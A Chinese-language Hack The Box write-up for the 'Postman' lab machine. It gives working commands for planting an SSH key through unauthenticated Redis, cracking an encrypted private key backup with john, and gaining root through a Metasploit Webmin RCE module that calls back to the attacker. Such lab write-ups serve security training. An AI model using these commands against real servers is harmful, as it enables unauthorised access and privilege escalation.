HTB-Postman

HTB - Postman

在這裏插入圖片描述

[1]偵察和枚舉

[1.1]開放的端口

  • 使用nmap掃描並蒐集開放端口以及有用的信息
root@kali:~/HTB/Postman# nmap -sC -sV -p- -oA nmap/Postman 10.10.10.160

nmap掃描結果
我們可以發現:

 - 具有已知漏洞的默認SSH端口上的OpenSSH 7.6p1服務器,該漏洞允許枚舉用戶名
 - 一個Apache 2.4.29默認的HTTP端口
 - 6379端口上的Redis 4.0.9服務器
 - 10000端口上的Webmin 1.910

[1.2]Web發現

在瀏覽器搜索框輸入靶機的IP的之後,我們發現一個正在建設的靜態網站
在這裏插入圖片描述

[1.3]Redis

Redis是一個內存中的數據結構,通常用作數據庫或者緩存。4.0.9版本存在許多的公共漏洞。客戶端redis-cli可以用於與服務器通信。該服務不受保護,無需進行身份驗證即可訪問。

  • 使用telnet檢查是否沒有密碼驗證
root@kali:~/HTB/Postman# telent 10.10.10.1600 6379

可以發現並不需要密碼驗證。
在這裏插入圖片描述

[1.4]Webmin

Webmin是用於基於Unix的系統的基於Web的系統配置工具。此處使用的版本具有2個帶有Metasploit模塊的HIGH / CRITICAL漏洞。一個是後門,可用於重置管理員密碼。但是,它要求啓用密碼更改功能,在這裏不是這種情況。

[2]獲得訪問權限

[2.1]創建公鑰

既然我們知道Redis的工作原理是不要求任何的身份驗證,我們可以利用這個漏洞獲得訪問的權限。但首先我們需要創建一個SSH密鑰,這樣子我們才能進入機器。

  • 使用ssh-keygen創建SSH密鑰
root@kali:~/HTB/Postman# ssh-keygen -t rsa

在這裏插入圖片描述
創建好了之後我們下一步就是準備將 它存儲到內存之中。由於內存轉儲中也將包含垃圾,因此我們在密鑰周圍使用換行符,並且保存在foo.txt中,以便我們更好的守護我們的SSH密鑰

  • 守護SSH密鑰
root@kali:~/HTB/Postamn# (echo -e "\n\n"; cat keys.pub; echo -e "\n\n") > foo.txt

在這裏插入圖片描述

[2.2]發佈密鑰

root@kali:~/HTB/Postman# redis-cli -h 10.10.10.160 flushall
root@kali:~/HTB/Postman# cat foo.txt | redis-cli -h 10.10.10.160 -p 6379 -x set s-key

在這裏插入圖片描述
當返回的結果爲OK的時候,我們就成功的發佈了我們的密鑰(foo.txt).接下來就是配置了。

[2.3]獲取Redis命令行-將密鑰插入到內存之中

我們現在需要將s-key(SSH密鑰)存儲到 .ssh 文件夾中,以便我們可以遠程SSH登錄到目標計算機。

  • 獲取Redis命令行界面
root@kali:~/HTB/Postman# redis-cli 10.10.10.160 -p 6379

在這裏插入圖片描述

  • 查看Redis的工作目錄、創建我們用有的權限.ssh內部/var/lib/redis。將名稱更改爲authorized_keyssave
10.10.10.160:6379> CONFIG GET dir
10.10.10.160:6379> CONFIG SET dir /var/lib/redis/.ssh
10.10.10.160:6379> CONFIG SET dbfilename "authorized_keys"
10.10.10.160:6379> save

在這裏插入圖片描述

[2.4]使用SSH登錄獲得訪問權限

  • 登錄
root@kali:~/HTB/Postman# ssh -i keys [email protected] 

在這裏插入圖片描述

[3]本地偵察和枚舉

成功登錄到目標機之後,接下來就是尋找一些有用的東西

  • 使用history查看歷史命令
redis@Postman:~$ history

在這裏插入圖片描述
我們管理員訪問了兩個文件,scan.pyid_rsa.bak,其中一個可能是SSH私鑰的備份。scan.py是不能通過Redis訪問權限找到它,但是私鑰受到的保護很弱,並且可以被全世界範圍給讀取到~~所以我們針對id_rsa.bak下手。

redis@Postman:~$ find /-name "id_rsa.bak" -ls

在這裏插入圖片描述
可以發現id_rsa.bak文件的所在目錄在**/opt/**下。

[4]特權提升

[4.1]用戶透視

使用cat查看id_rsa.bak,會發現它是加密的

redis@Postamn:/opt$ cat id_rsa.bak

在這裏插入圖片描述
將私鑰複製粘貼到我們的工作目錄上的matt2john,使用john進行破解。

  • 破解RSA私鑰
root@kali:~/HTB/Postamn# python ssh2john matt2john > matt2john-pass
root@kali:~/HTB/Postamn# john matt2john --wordlist=/usr/share/wordlists/rockyou.txt

在這裏插入圖片描述
ssh2john的目錄在/usr/share/john/ssh2jon.py
破解了RSA知道了密碼爲“computer2008”,現在可以使用這個密碼登錄Matt`

redis@Postamn:~$ su Matt

在這裏插入圖片描述
登錄之後到**/home/Matt**目錄下找到完成Postman的提交密鑰。
如果只是爲了完成Postman到這邊就完成了,下面是獲得root的方法。

[4.2]升級爲root

我啓動了metasploit並搜索了相關的漏洞利用程序。

  • 查找漏洞
root@kali:~/HTB/Postman# searchsploit webmin 1.910
  • 進入metasploit控制檯進行配置
root@kali:~/HTB/Postman# msfconsole 
msf5> use exploit/linux/http/webmin_packageup_rce 
msf5 exploit(linux/http/webmin_packageup_rce) > set rhosts 10.10.10.160
msf5 exploit(linux/http/webmin_packageup_rce) > set usename Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set lhost tun0
msf5 exploit(linux/http/webmin_packageup_rce) > set ssl true

在這裏插入圖片描述

  • 運行

在這裏插入圖片描述
可以看到我們成功的獲得了root!
I got Root~!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章